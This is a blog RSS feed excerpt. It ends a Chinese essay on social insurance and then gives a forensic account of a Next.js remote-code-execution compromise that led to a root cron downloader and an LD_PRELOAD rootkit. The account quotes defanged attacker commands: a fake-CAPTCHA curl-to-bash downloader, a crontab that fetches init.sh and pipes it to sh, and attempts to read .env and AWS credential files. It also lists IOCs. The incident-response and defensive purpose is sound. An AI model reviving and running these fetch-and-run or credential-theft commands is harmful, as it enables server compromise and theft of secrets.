id="">赤子之心与普通生活</h2><p>郭教授引用孟子：“大人者，不失其赤子之心者也。”[3]</p><p>我喜欢其中那点不肯世故的意思。看过不如意，难免生气、怀疑，也会觉得有些话说得太满。但我仍希望自己保留把事情弄清、使它变好一点的愿望。既不因话好听便全盘接受，也不因出了问题就认定以后不会有改变。</p><p>这份愿望也不应成为对疲惫者的新要求。有人在困难里待得久，暂时无力谈希望，也应获得帮助。让使人失望的事情得到回应，比要求他先保持乐观更有用。对改变的信心，常常需要具体经历支持。</p><p>我也警惕那种省力的冷笑：制度有问题，就说都一样；有人认真做事，就说没有用。这些话无论发生什么都能重复，却很少帮助分辨眼前能改什么。承认一点确实发生的改进，不会妨碍继续批评没有做好的部分。</p><p>演讲里还有李清照的词：</p><blockquote><p>常记溪亭日暮，沉醉不知归路。</p><p>兴尽晚回舟，误入藕花深处。</p><p>争渡，争渡，惊起一滩鸥鹭。[4]</p></blockquote>
<p><img alt="暮色中的现代城市湖畔，游船驶过荷叶，水鸟从倒影间飞起。" src="https://ctexthuang.com/api/v3/objects/image/qxovdwxg1qx6x63i1a.png"/></p><p>读到这里，我想到的是“兴尽”两个字。能因为尽兴而晚归，为一段景色、一场相聚停留，不必时时计算这段时间能换来什么，是一种很普通、又未必容易得到的余裕。</p><p>保障不能包办这样的生活，但可以减少一些让人无暇顾及生活的风险。工作时踏实，生病时少些无助，老去有基本依靠，空闲能陪陪在意的人，这些愿望足以成为讨论发展和制度的理由。不需要再为它们附上一项宏大用途。</p><p>人也不只在创造收入时才有价值。年幼、年老、患病，或暂时失去工作，都仍应受到认真对待。共同安排愿意为这些处境负责，会使归属感多一些实在依据。社保与爱国在这里连起来，对我而言很自然。</p><p>所以，回到社保这笔账，我还是希望它能够逐项作答。历史责任怎样落实，基本保障的缺口怎样补，异常审批怎样追责，长期安排有什么依据，都应该讲清，也应允许公众检查后继续提问。</p><p>郭教授说“做建设者，做改革者，做推动者”。我理解的改革，首先要容得下“这里不合理”这句话。有人能提出方案，有人只能指出自己被哪条规则难住，这些信息都可能使问题更清楚。更重的调查与解释责任，仍在掌握资料、资金和决定权的人那里。</p><p>我认同这个国家，也相信它有继续改革的能力，所以不愿替现有社保安排省掉那些难回答的问题。对于已经参与建设、现在需要帮助的人，最有分量的回应，是应得的权益落实了，不合理的规则改了，失守的责任查到了。对国家的认可，也会在这些具体改变里变得更踏实。</p>
<hr/><p>文中演讲引语依据两个视频的转写文本，补正了标点；第二个视频的讲者信息未提供，因此未署名归引。政策、统计及古典引文参考（本文核验于2026年11月3日；历史政策用于说明制度来源，现行个案须结合适用规则）：</p><ol start="1"><li>国家医疗保障局：<a href="https://www.nhsa.gov.cn/art/2026/7/16/art_7_21451.html">《2025年全国医疗保障事业发展统计公报》</a>，2026 年 7 月 16 日。</li><li><a href="https://www.gov.cn/guoqing/2021-10/29/content_5647616.htm">《中华人民共和国社会保险法》</a>，参见第二条、第十条、第十一条、第十三条、第十九条、第二十三条、第三十二条、第四十五条、第四十八条、第七十条、第八十三条。</li><li><a href="https://zh.wikisource.org/wiki/%E5%AD%9F%E5%AD%90/%E9%9B%A2%E5%A9%81%E4%B8%8B">《孟子·离娄下》</a>。</li><li>李清照：<a href="https://www.gushiwen.cn/shiwenv_3e33bfbb8f79.aspx">《如梦令·常记溪亭日暮》</a>。</li><li>世界卫生组织：<a href="https://www.who.int/news-room/fact-sheets/detail/noncommunicable-diseases">《非传染性疾病》</a>，2025 年 9 月 25 日。</li><li>国务院：<a href="https://www.gov.cn/zhengce/content/2015-01/14/content_9394.htm">《关于机关事业单位工作人员养老保险制度改革的决定》</a>，国发〔2015〕2号，2015年公布，自2014年10月1日起实施。文中不将其原始费率、最低缴费年限等直接作为2026年的统一办事参数。</li><li>北京科技大学新闻网：<a href="https://news.ustb.edu.cn/info/1533/41274.htm">《事业单位养老保险制度改革问答》</a>，2018年7月9日。用于说明职务职级、技术职称与相关视同缴费指数的历史政策联系，不用于个人现期待遇测算。</li><li>国务院：<a href="https://www.gov.cn/zhengce/content/2014-02/26/content_8656.htm">《关于建立统一的城乡居民基本养老保险制度的意见》</a>，国发〔2014〕8号，2014年2月公布。用于说明待遇结构、筹资责任和历史过渡，不将原始缴费档次和补助金额作为现行统一标准。</li><li>审计署：<a href="https://www.audit.gov.cn/n5/n26/c10619920/part/10690741.pdf">《国务院关于2024年度中央预算执行和其他财政收支的审计工作报告》</a>，2025年6月24日向全国人大常委会报告，参见养老保险基金审计部分，PDF第15—17页。问题金额是特定审计范围内发现的不同性质问题，不是全国损失率或2026年尚未整改余额。</li><li>国家统计局：<a href="https://www.stats.gov.cn/sj/zxfb/202610/t20261019_1965618.html">《前三季度经济运行总体平稳　高质量发展取得新成效》</a>，2026年10月19日。本文采用2026年9月全国城镇调查失业率及全国企业就业人员周平均工作时间，保留调查范围与时间。</li><li>国家统计局：<a href="https://www.stats.gov.cn/zs/tjws/zytjzbqs/tcsyl/202411/t20241115_1957491.html">《调查失业率的计算方法》</a>，2024年11月29日，来源为《领导干部应知应会主要统计指标诠释》。包含就业、失业、非劳动力、劳动参与率及气馁型劳动者的解释。</li><li>瑞典养老金机构：<a href="https://www.pensionsmyndigheten.se/other-languages/english-engelska/english-engelska/recommended-retirement-age">Recommended retirement age – when can I start drawing my national public pension?</a>，页面更新于2026年5月20日。推荐退休年龄与具体出生年份、待遇项目相联系，不等于一律强制退休年龄。</li><li>瑞典养老金机构：<a href="https://www.pensionsmyndigheten.se/other-languages/english-engelska/english-engelska/pension-system-in-sweden">The Swedish pension system</a>，页面更新于2025年10月24日。用于说明制度组成，不能单凭机构介绍判定长期财务安全。</li><li>国家统计局：<a href="https://www.stats.gov.cn/sj/zxfb/202602/t20260228_1962662.html">《中华人民共和国2025年国民经济和社会发展统计公报》</a>，2026年2月28日。采用2025年末养老保险参保人数，区分参保、实际缴费与领取待遇人数。</li></ol></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/heart_billows/social-insurance-national-fortune#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/heart_billows/social-insurance-national-fortune</link><guid isPermaLink="true">https://ctexthuang.com/posts/heart_billows/social-insurance-national-fortune</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Fri, 06 Nov 2026 04:06:12 GMT</pubDate></item><item><title><![CDATA[JWT 不该背所有的锅：浏览器认证、BFF 与会话控制的边界]]></title><description><![CDATA[<p>往原址览之：<a href="https://ctexthuang.com/posts/programming_star/browser-auth-jwt-bff">https://ctexthuang.com/posts/programming_star/browser-auth-jwt-bff</a></p>]]></description><link>https://ctexthuang.com/posts/programming_star/browser-auth-jwt-bff</link><guid isPermaLink="true">https://ctexthuang.com/posts/programming_star/browser-auth-jwt-bff</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Fri, 09 Oct 2026 07:26:43 GMT</pubDate></item><item><title><![CDATA[从网页无法下拉到服务器 Root 沦陷：一次 Next.js 入侵的完整取证]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/programming_star/next-js-hack-forensics-root-compromise">https://ctexthuang.com/posts/programming_star/next-js-hack-forensics-root-compromise</a></blockquote><div><p>2026 年 8 月 12 日，我发现自己的网站 <code>www.xxx.com</code>（原个人域名已脱敏，下称“站点 A”）突然无法下拉。</p><p>页面能打开，图片和文字也在，却被一个假验证码遮罩死死盖住。滚动条消失，<code>html</code> 和 <code>body</code> 被写入 <code>overflow: hidden</code>，页面不断诱导访客完成所谓的“BotGuard 验证”。如果只看现象，这很像一次普通的前端兼容问题，或者某个组件忘了在关闭弹窗时恢复滚动。</p><p>但另一个事实让我没办法把它当成前端 Bug：同一台公网服务器上的 <code>api.xxx.com</code>（原域名已脱敏，下称“站点 B”）完全正常。</p><p>最后查出来的结果，比网页注入严重得多。站点 A 对应的 Next.js 进程已经可以被外部请求执行系统命令，而且它恰好以 <code>root</code> 身份运行。PM2 日志记录了对同机项目、环境变量和内网数据库的扫描，系统里还出现了 root 定时任务与 <code>LD_PRELOAD</code> Rootkit。网页无法下拉，只是整条攻击链浮出水面的最后一层油花。</p><p>这篇文章不做一份抽象的安全检查清单。我按当天的实际调查顺序，把自己如何发现、如何缩小范围、如何用输出举证、又为什么没有直接删文件重启服务器，完整记录下来。</p><blockquote><p>文中的命令输出来自当时的真实现场。为避免暴露身份与基础设施，个人域名、公网和内网 IP、业务端口、PID、业务账户目录、项目名、日志名、站点响应与私有日志哈希、响应 <code>ETag</code>，以及恶意 URL 中可能用于关联受害者的子域和路径 ID，均已用 <code>xxx</code>、<code>站点 A/B</code>、<code>项目 A/B</code> 等占位符脱敏，这些占位符不可直接执行。密码、Token、FRP 身份信息已经删除。CVE、恶意文件哈希和攻击者 IOC 为保留检测价值而保留，其中恶意地址已用 <code>hxxp</code>、<code>[.]</code> 失活。</p></blockquote>
<h2 id="-bug">一、网页突然无法下拉：这不像普通的前端 Bug</h2><h3 id="">从滚动条消失开始</h3><p>网页无法下拉的直接原因并不神秘：恶意脚本创建了一个覆盖全屏的假验证层，同时锁定页面滚动。真正危险的部分藏在返回的 HTML 中——它不是引用一个正常的站内脚本，而是塞入了一段 <code>data:text/javascript;base64</code> 形式的代码。</p><p>我先不点击页面，也不执行它提供的任何内容，只对响应做静态检查：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">curl -sS https://www.xxx.com/ -o site-a.html

wc -c site-a.html
sha256sum site-a.html
grep -ao &#x27;data:text/javascript;base64&#x27; site-a.html | wc -l
</code></pre>
<p>后来在上游端口复核时，得到的响应证据是：</p><pre class="language-text lang-text"><code class="language-text lang-text">25211 /tmp/site-a-evidence.html
&lt;站点 A 响应 SHA-256 已脱敏&gt;  /tmp/site-a-evidence.html
1
</code></pre>
<p>25,211 字节的 HTML 中，确实出现了一次 <code>data:text/javascript;base64</code>。解码后可以看到假验证码、剪贴板写入和远程载荷下载逻辑。页面最终希望用户复制到终端的结构大致如下：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash"># 已失活，切勿还原并执行
/bin/bash -c &quot;$(curl -A &#x27;Mac OS X 10_15_7&#x27; -fsSL \
  &#x27;hxxps://xxxxxxxx[.]foodpapajobs[.]com/?ublib=&lt;已脱敏&gt;&#x27;)&quot;
</code></pre>
<p>这已经不是“页面样式写坏了”。它在利用假验证界面制造紧迫感，再把真正的恶意执行转移到用户自己的终端。网页本身负责说服人，Shell 才负责完成入侵。</p><p>当时我也已经执行过这条假验证命令。后来查到 Mac 上的执行时间是 <strong>8 月 12 日 14:13</strong>。但这里还有一个必须回答的问题：恶意页面到底来自我的浏览器、Caddy、FRP，还是业务程序本身？</p><p>如果不把这一层查清，后面所有“修复”都可能只是在错误的位置忙碌。</p><h2 id="-ip-9xxx-">二、同一个公网 IP，为什么只有 9xxx 端口异常</h2><p>站点 A 和站点 B 都解析到 <code>8.xxx.xxx.xxx</code>（公网 IP 已脱敏）。一个异常、一个正常，很容易让人怀疑“如果服务器真的被黑，为什么其他网站没事？”</p><p>这个问题看似合理，却混淆了公网入口和业务进程。共用一个 IP，不代表共用一套应用。</p><h3 id="-caddy-">先看 Caddy 把请求送去了哪里</h3><p>我在公网主机 <code>8.xxx.xxx.xxx</code> 上读取 Caddy 配置，实际输出如下：</p><pre class="language-caddyfile lang-caddyfile"><code class="language-caddyfile lang-caddyfile">www.xxx.com, xxx.com {
    reverse_proxy localhost:9xxx
    encode zstd gzip
}

api.xxx.com {
    reverse_proxy localhost:xxxx
}
</code></pre>
<p>两个域名只是在公网入口处相遇，进门之后立刻分流：站点 A 走 9xxx，站点 B 走 xxxx。</p><p>于是我绕过域名和外部浏览器，直接请求 FRP 服务端本机的两个端口，并分别计算响应大小、哈希和恶意特征命中数：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">curl -sS -H &#x27;Host: www.xxx.com&#x27; \
  http://127.0.0.1:9xxx/ -o /tmp/site-a-evidence.html
wc -c /tmp/site-a-evidence.html
sha256sum /tmp/site-a-evidence.html
grep -ao &#x27;data:text/javascript;base64&#x27; /tmp/site-a-evidence.html | wc -l

curl -sS -H &#x27;Host: api.xxx.com&#x27; \
  http://127.0.0.1:xxxx/ -o /tmp/site-b-evidence.html
wc -c /tmp/site-b-evidence.html
sha256sum /tmp/site-b-evidence.html
grep -ao &#x27;data:text/javascript;base64&#x27; /tmp/site-b-evidence.html | wc -l
</code></pre>
<p>真实输出：</p><pre class="language-text lang-text"><code class="language-text lang-text">PORT_9XXX
25211 /tmp/site-a-evidence.html
&lt;站点 A 响应 SHA-256 已脱敏&gt;  /tmp/site-a-evidence.html
1

PORT_XXXX
4634 /tmp/site-b-evidence.html
&lt;站点 B 响应 SHA-256 已脱敏&gt;  /tmp/site-b-evidence.html
0
</code></pre>
<p>证据已经把范围缩到了 9xxx，但还不能立刻断言是后端应用被注入。因为 9xxx 在公网服务器上只是 FRP 映射端口，真正的上游位于内网业务主机 <code>192.xxx.xxx.xxx</code>（内网 IP 已脱敏）。</p><h3 id="-frp">再绕过 FRP，直连真正的上游</h3><p>我登录 <code>192.xxx.xxx.xxx</code>，直接请求它自己的 <code>127.0.0.1:9xxx</code>：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">curl -sS http://127.0.0.1:9xxx/ -o /tmp/local-9xxx-evidence.html
wc -c /tmp/local-9xxx-evidence.html
sha256sum /tmp/local-9xxx-evidence.html
grep -ao &#x27;data:text/javascript;base64&#x27; /tmp/local-9xxx-evidence.html | wc -l
curl -sSI http://127.0.0.1:9xxx/ | \
  grep -Ei &#x27;HTTP/|x-powered-by|x-nextjs-cache|etag&#x27;
</code></pre>
<p>输出与公网 FRP 的 9xxx 完全一致：</p><pre class="language-text lang-text"><code class="language-text lang-text">LOCAL_9XXX
25211 /tmp/local-9xxx-evidence.html
&lt;站点 A 响应 SHA-256 已脱敏&gt;  /tmp/local-9xxx-evidence.html
1
HTTP/1.1 200 OK
x-nextjs-cache: HIT
X-Powered-By: Next.js
ETag: &quot;&lt;已脱敏&gt;&quot;
</code></pre>
<p>同样的 25,211 字节，同样的 SHA-256，同样命中一次恶意 <code>data:</code> 脚本。</p><p>到这里可以排除 DNS、浏览器扩展、Caddy 和 FRP 服务端注入。恶意 HTML 在 <code>192.xxx.xxx.xxx:9xxx</code> 的响应链路中就已经出现。Caddy 和 FRP 没有替它加内容，只是忠实地把有毒的响应送了出来。至于内容来自应用源码、构建产物、缓存还是进程运行时篡改，还要继续看 9xxx 本身。</p><h2 id="-9xxx--nextjs-rce-">三、从 9xxx 端口追到 Next.js：日志给出了 RCE 铁证</h2><p>确认恶意响应来自内网 9xxx 后，我开始从端口反查进程。</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">ss -lntp | grep &#x27;:9xxx&#x27;
ps -p 10xxxxx -o user,pid,ppid,lstart,stat,cmd
readlink -f /proc/10xxxxx/exe
readlink -f /proc/10xxxxx/cwd
</code></pre>
<p>现场输出：</p><pre class="language-text lang-text"><code class="language-text lang-text">LISTEN 0 511 0.0.0.0:9xxx 0.0.0.0:* \
  users:((&quot;next-server (v1&quot;,pid=10xxxxx,fd=20))

USER       PID      PPID     STARTED                    STAT CMD
root       10xxxxx  10xxxxx  四 7月 30 17:43:27 2026  Ssl  next-server (v15.3.0)

/root/.volta/tools/image/node/20.19.6/bin/node
/home/xxx/project-a/.next/standalone
</code></pre>
<p>这里出现了两个非常糟糕的信号：</p><ul><li>服务运行的是 <code>next-server v15.3.0</code>；</li><li>Web 进程不是普通应用用户，而是 <code>root</code>。</li></ul><p>我继续读取项目依赖版本：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">cd /home/xxx/project-a
node -e &quot;let p=require(&#x27;./package.json&#x27;); console.log(JSON.stringify({
  next:p.dependencies.next,
  react:p.dependencies.react,
  reactDom:p.dependencies[&#x27;react-dom&#x27;]
}, null, 2))&quot;
</code></pre>
<p>输出：</p><pre class="language-json lang-json"><code class="language-json lang-json">{
  &quot;next&quot;: &quot;15.3.0&quot;,
  &quot;react&quot;: &quot;19.0.0&quot;,
  &quot;reactDom&quot;: &quot;19.0.0&quot;
}
</code></pre>
<p>项目不是旧的 Pages Router。路由目录也能直接确认：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">find app -maxdepth 2 -type f -print
</code></pre>
<p>实际输出：</p><pre class="language-text lang-text"><code class="language-text lang-text">app/page.tsx
app/globals.css
app/layout.tsx
</code></pre>
<p>Next.js 官方在 <code>CVE-2025-66478</code> 公告中确认：使用 App Router 的 Next.js 15.x 和 16.x 受到 React Server Components 无认证远程代码执行漏洞影响。15.3.6 是 15.3.x 针对这项 RCE 的首个修复版本；后续安全更新又继续提高了最低安全版本。这台服务器停留在 15.3.0，显然位于受影响范围内。</p><p>版本命中只能证明“具备被利用条件”，不能证明“已经被利用”。真正把结论钉死的，是 PM2 错误日志。</p><h3 id="">日志里出现了攻击者执行命令的回显</h3><p>我从 <code>/root/.pm2/logs/site-a-error.log</code> 中检索 Server Action、系统命令和 RCE 输出：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">rg -n \
  &#x27;Failed to find Server Action|RCE_OUT|Command failed: cat .env|uid=0&#x27; \
  /root/.pm2/logs/site-a-error.log
</code></pre>
<p>部分真实输出如下：</p><pre class="language-text lang-text"><code class="language-text lang-text">14:  ⨯ [Error: Command failed: cat .env*
38:  ⨯ [Error: Command failed: cat ~/.aws/credentials
62:  ⨯ [Error: Command failed: cat .env
289: [Error: Failed to find Server Action &quot;x&quot;.
292: ⨯ [Error: Command failed: cat .env
306: [Error: Failed to find Server Action &quot;x&quot;.
396: digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;uid=0(root) gid=0(root) 组=0(root)\n&#x27; +
</code></pre>
<p>这些行不是同一条 HTTP 请求的完整记录，但放在同一份运行日志里，能证明两件事：Next 服务收到了构造的 Server Action/RSC 请求；系统命令也确实在该进程上下文中执行，攻击者尝试读取 <code>.env</code> 和云凭据，并把 <code>id</code> 的结果带回异常 digest。输出不是 <code>www-data</code>，而是：</p><pre class="language-text lang-text"><code class="language-text lang-text">uid=0(root) gid=0(root) 组=0(root)
</code></pre>
<p>攻击者没有停留在验证漏洞是否存在。他们继续枚举其他项目和数据库目标：</p><pre class="language-text lang-text"><code class="language-text lang-text">578:  digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;/home/xxx/project-b/.env.production\n&#x27; +
718:  digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;=== EVM_CODE_HUNT_BEGIN ===\n&#x27; +
1990: digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;KIND=mysql HOST=localhost PORT=3306\n&#x27; +
2005: digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;KIND=mysql HOST=192.xxx.xxx.xxx PORT=3306\n&#x27; +
2035: digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;KIND=mysql HOST=118.xxx.xxx.xxx PORT=5432\n&#x27; +
2050: digest: &#x27;&lt;&lt;RCE_OUT&gt;&gt;KIND=mysql HOST=118.xxx.xxx.xxx PORT=3306\n&#x27; +
</code></pre>
<p>我把这份日志下载到可信的 Mac 上并计算哈希，避免后续服务器文件继续变化：</p><pre class="language-text lang-text"><code class="language-text lang-text">&lt;私有日志 SHA-256 已脱敏&gt;  site-a-error.log
</code></pre>
<p>基于“受影响版本 + App Router + 构造的 Server Action/RSC 请求 + root 命令回显”这组证据，我对 React2Shell / <code>CVE-2025-66478</code> 的入口归因具有很高信心。严谨地说，因为没有保存到最初那一条完整 HTTP 利用请求，我不会写成“已经逐字还原攻击载荷”。</p><p>但服务器被 9xxx 端口的 Next.js 请求执行到 root，已经不是推测。</p><h2 id="-rootkit">四、真正危险的不是网页，而是 Rootkit</h2><p>如果调查停在“升级 Next.js、重启 PM2”，这次入侵就会被严重低估。现场还能确认，操作系统里已经存在第二套生存机制。</p><p>这里也要区分“同机发现”和“同一操作者”。现有证据能确认 Web RCE 与系统级持久化同时存在，时间关系也支持它们属于同一条攻击链；但缺少完整访问日志和审计日志，我无法把某一条 RCE 请求与安装 Rootkit 的具体命令逐条对应。因此本文把它定为<strong>高度疑似同一入侵链</strong>，而不是宣称已经确认同一攻击团伙。</p><h3 id="-kworkerd">每分钟拉取一次 <code>.kworkerd</code></h3><p>检查 root 的计划任务时，我找到下面这一行：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash"># `[.]` 在扩展正则中匹配字面量点，既失活展示又能用于检索
grep -RInsE &#x27;193[.]32[.]162[.]73&#x27; \
  /var/spool/cron /etc/cron.d /etc/crontab 2&gt;/dev/null
</code></pre>
<p>原始输出很长，下面仅把 URL 失活：</p><pre class="language-text lang-text"><code class="language-text lang-text">/var/spool/cron/crontabs/root:1:* * * * * /bin/sh -c \
&#x27;{ kill -0 6xxxxx 2&gt;/dev/null || grep -q 0100007F:Axxx \
/proc/net/tcp 2&gt;/dev/null; } &amp;&amp; exit 0; \
(wget -qO- hxxp://193[.]32[.]162[.]73/d/xxxxxxxxxxxxxxxx/init.sh || \
curl -sL hxxp://193[.]32[.]162[.]73/d/xxxxxxxxxxxxxxxx/init.sh) | \
/bin/sh&#x27; &gt; /dev/null 2&gt;&amp;1
</code></pre>
<p>它每分钟检查一个已脱敏的 PID <code>6xxxxx</code> 或本地 TCP 端口 <code>0xAxxx</code>。只有当 PID 不存在、该端口也没有出现时，才从外部地址下载 <code>init.sh</code> 并直接管道给 <code>/bin/sh</code>。</p><p>进程树中还出现了反复下载恶意本体的命令：</p><pre class="language-text lang-text"><code class="language-text lang-text">wget -T 180 -t 1 -qO /tmp/.kworkerd \
  hxxp://193[.]32[.]162[.]73/d/xxxxxxxxxxxxxxxx/bins/kworkerd
</code></pre>
<p>计划任务的文件时间也被保存下来：</p><pre class="language-text lang-text"><code class="language-text lang-text">/var/spool/cron/crontabs/root
size=264
mtime=2026-08-12 09:21:07.864810141 +0800
ctime=2026-08-12 09:21:07.864810141 +0800
mode=600
</code></pre>
<p>这不是残留在磁盘上的一份“死文件”。调查时它仍在每分钟触发。</p><h3 id="ldpreload-"><code>LD_PRELOAD</code> 让常用命令开始说谎</h3><p>更麻烦的证据出现在 <code>/etc/ld.so.preload</code>：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">cat /etc/ld.so.preload
</code></pre>
<p>输出只有一行：</p><pre class="language-text lang-text"><code class="language-text lang-text">/usr/lib/libproc.so
</code></pre>
<p><code>/etc/ld.so.preload</code> 会要求动态链接器在程序启动时优先加载指定共享库。放在正常环境里，它可以服务于调试和兼容；落到攻击者手里，它可以在 <code>ls</code>、<code>ps</code>、<code>ss</code>、<code>stat</code> 等命令真正访问系统数据之前，先改写它们看到的结果。</p><p>我用 <code>stat</code> 记录两个文件的元数据，再计算 SHA-256：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash">stat -c &#x27;%n|size=%s|mtime=%y|birth=%w|mode=%a&#x27; \
  /etc/ld.so.preload /usr/lib/libproc.so
sha256sum /etc/ld.so.preload /usr/lib/libproc.so
</code></pre>
<pre class="language-text lang-text"><code class="language-text lang-text">/etc/ld.so.preload|size=20|mtime=2026-08-10 18:40:34.395896213 +0800|birth=2026-08-04 19:27:25.333481247 +0800|mode=666
/usr/lib/libproc.so|size=19984|mtime=2026-08-10 18:40:34.395896213 +0800|birth=2026-08-10 18:40:34.395896213 +0800|mode=644

052a1d01204ba36631e4eee8250e64025ce9e1df0df0b9764ab50fcab50d9ec5  /usr/lib/libproc.so
7749d33c3660017b020e4e32264c1c6bd080e9708ef703890bf9a79de8b9c009  /etc/ld.so.preload
</code></pre>
<p><code>/usr/lib/libproc.so</code> 不属于系统软件包。查看它导出的动态符号，可以看到一组非常有指向性的函数：</p><pre class="language-text lang-text"><code class="language-text lang-text">000000000000330b T access
000000000000305b T fopen
00000000000032de T fopen64
0000000000002fdc T lstat
000000000000290e T open
0000000000002ba9 T openat
0000000000002e47 T readdir
0000000000002ed2 T readdir64
00000000000028a0 T readlink
00000000000034a9 T rename
0000000000002f5d T stat
000000000000338a T unlink
000000000000340d T unlinkat
</code></pre>
<p><code>readdir</code> 可以过滤目录项，<code>open</code> 和 <code>fopen</code> 可以拦截文件读取，<code>stat</code> 可以伪造文件状态，<code>readlink</code> 可以隐藏 <code>/proc/&lt;pid&gt;/exe</code> 的真实指向。库内还能看到 <code>RK_PORTS</code>、<code>RK_FILES</code>、<code>/proc/net/tcp</code> 以及对 <code>rkhunter</code>、<code>chkrootkit</code>、<code>clamscan</code> 等工具名的处理痕迹。</p><p>这种拦截能力足以造成普通 <code>ps</code>、<code>ss</code> 和 <code>lsof</code> 的结果互相矛盾，也与现场现象一致。不是 Linux 忽然失忆了，而是查询 Linux 的工具可能先被套上了一副攻击者准备的眼镜。</p><p>到了这一步，“在原系统里删掉几个文件继续用”已经不再是可靠的修复方案。root 权限加上用户态 Rootkit，意味着这台机器无法继续证明自己的清白。</p><h2 id="mac-">五、还原时间线：服务器先失陷，Mac 后中招</h2><p>调查中最容易被带偏的一件事，是把自己刚刚执行的恶意命令当成所有问题的起点。</p><p>我一开始也担心：是不是 14:13 在 Mac 上执行假验证码命令后，攻击者拿到浏览器数据，再反向登录了服务器？文件时间给出了不同答案。</p><p>Mac 端的取证记录保留了这一行实际输出：</p><pre class="language-text lang-text"><code class="language-text lang-text">2026-08-12 14:13:04 | 恶意远程脚本命令执行 | foodpapajobs[.]com 下载器
确认：已执行 /bin/bash -c + curl 下载命令
</code></pre>
<table><thead><tr><th> 时间 </th><th> 实际证据 </th><th> 能够得出的判断 </th></tr></thead><tbody><tr><td> 8 月 4 日 19:27 </td><td> <code>/etc/ld.so.preload</code> 的最早可见创建时间 </td><td> 系统级异常最晚在此时已经出现 </td></tr><tr><td> 8 月 10 日 18:40 </td><td> <code>/usr/lib/libproc.so</code> 与 preload 文件同时被写入 </td><td> Rootkit 被安装或更新 </td></tr><tr><td> 8 月 12 日 09:21 </td><td> root crontab 的 mtime/ctime </td><td> 每分钟下载任务已经落地 </td></tr><tr><td> 8 月 12 日 14:13 </td><td> Mac 本地命令记录 </td><td> 假验证诱导发生在服务器失陷之后 </td></tr></tbody></table><p>能够确定的是：服务器上的系统级异常早于我在 Mac 上执行假验证命令。8 月 12 日，恶意页面又把攻击链延伸到了访客终端。我的 Mac 是后续受害者，不是这次服务器入侵的源头。</p><p>不过，时间戳只能叫作“最早可见证据”，不能武断地等同于第一次入侵时间。root 攻击者有能力修改文件时间，也可能在写入 Rootkit 之前已经活动了一段时间。缺少更早的反向代理访问日志和完整 HTTP 请求，无法把首次利用精确到某一秒、某一个来源 IP。</p><h3 id="">其他网站正常，不代表其他数据安全</h3><p><code>fn.xxx.com</code> 没出现假验证码，是因为它走 5xxx，不经过存在漏洞的 Next.js 9xxx。它没有成为入口，却和站点 A 位于同一台已经被 root 控制的 <code>192.xxx.xxx.xxx</code> 上。</p><p>root 不关心目录属于哪个项目。攻击日志已经证明对方做过这些动作：</p><ul><li>尝试读取当前项目的 <code>.env</code>、<code>~/.aws/credentials</code> 和 Claude 凭据；</li><li>找到 <code>/home/xxx/project-b/.env.production</code>；</li><li>搜索 EVM、私钥和链上配置；</li><li>枚举 <code>localhost</code>、<code>192.xxx.xxx.xxx</code>、<code>118.xxx.xxx.xxx</code> 上的 MySQL/PostgreSQL 目标；</li><li>读取 PM2 环境和项目路径。</li></ul><p>这里也要守住证据边界。日志能证明命令执行、扫描和读取尝试发生过，也能证明部分路径与数据库目标已经被发现；它不能单独证明每个文件都读取成功、每个数据库都成功登录，更不能证明所有业务数据都被完整导出。</p><p>安全处置不会因此变轻。只要凭据曾经处于 root 可读范围，就应该按可能泄露处理。等到真的在暗网或异常登录日志中看到它被使用，已经晚了一步。</p><h2 id="">六、如何取证与处理：不要急着重启</h2><p>看到 <code>/tmp/.kworkerd</code> 和 root crontab 后，人的本能是 <code>kill -9</code>、删文件、重启。说实话，我当时也很想立刻把它们清掉。</p><p>但这三个动作会同时破坏进程、内存、网络连接和文件时间现场，而且不一定清得干净。攻击者已经能通过定时任务复活载荷，<code>LD_PRELOAD</code> 又能欺骗常用命令。删掉你看见的东西，不等于删掉你没看见的东西。</p><h3 id="">先从宿主机外部隔离</h3><p>可靠的隔离应该发生在虚拟化平台、交换机、路由器或上游防火墙，而不是完全依赖失陷主机自己的 <code>iptables</code>。至少切断公网入站和非必要出站，同时保留一条受控的管理取证通道。</p><p>在我的场景里，需要立刻下线网站 A的 FRP 映射，并阻断这些已知 IOC：</p><pre class="language-text lang-text"><code class="language-text lang-text">193[.]32[.]162[.]73
xxxxxxxx[.]foodpapajobs[.]com
/d/xxxxxxxxxxxxxxxx/init.sh
/tmp/.kworkerd
/usr/lib/libproc.so
</code></pre>
